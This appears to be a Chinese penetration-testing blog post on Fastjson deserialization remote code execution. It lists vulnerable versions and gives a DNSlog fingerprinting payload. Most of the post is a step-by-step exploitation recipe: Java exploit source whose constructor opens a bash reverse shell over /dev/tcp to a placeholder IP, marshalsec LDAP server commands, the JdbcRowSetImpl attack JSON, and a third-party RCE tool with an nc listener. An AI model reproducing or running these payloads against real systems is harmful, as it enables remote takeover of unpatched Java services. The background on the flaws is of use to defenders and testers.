Fastjson反序列化漏洞

发布于 2021-02-18  774 次阅读


《渗透测试》目录

Fastjson反序列化漏洞

1.Fastjson介绍:Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串, 支持将Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。

2.历史漏洞

  • Fastjson <=1.2.24 反序列化远程命令执行漏洞
  • Fastjson <=1.2.41 反序列化远程命令执行漏洞
  • Fastjson <=1.2.42 反序列化远程命令执行漏洞
  • Fastjson <=1.2.43 反序列化远程命令执行漏洞
  • Fastjson <=1.2.45 反序列化远程命令执行漏洞
  • Fastjson <=1.2.47 反序列化远程命令执行漏洞
  • Fastjson <=1.2.62 反序列化远程命令执行漏洞
  • Fastjson <=1.2.66 反序列化远程命令执行漏洞

3.Fastjson反序列化漏洞:

  • 1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的 类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
  • 1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中, 攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

4.特征识别

  • Fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson
  • Fastjson报错识别,若传输不完整的json数据,会返回一个报错数据包,里面可能包含一些敏感信息
  • 利用dnslog识别Fastjson
{"name":{"@type":"java.net.InetAddress","val":"test.sr3uwk.ceye.io"}}

5.Fastjson的利用

(1)Fastjson的利用(编译)

<1>新建Exploit.java        

<2>然后cmd下执行:javac Exploit.java,就会生成一个class文件

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while readline; do $line 2>&5 >&5;done"}); InputStream is =p.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line =reader.readLine()) != null){ System.out.println(line); } p.waitFor();is.close(); reader.close(); p.destroy();
    }
    public static void main(String[] args) throws Exception{ }
}

<3>把编译好的class文件传到外网系统中,可以访问验证一下是否开启,是否把class文 件放进入

项目地址:https://github.com/mbechler/marshalsec        

<4>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的服务器IP:端口/#Exploit" 9999

执行攻击payload:
{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:9999/Exploit",
        "autoCommit":true
    }
}

(2)Fastjson的利用(反弹shell)

(3)比较简洁的Fastjson利用方法

<1>项目地址:https://github.com/Betsy0/fastjson_rce_tool    

java -cp fastjson_tool.jar fastjson.HRMIServer 你的服务器IP地址 监听端口 "要执行的命令"    

编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

<2>nc监听端口,并将生成的payload执行


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。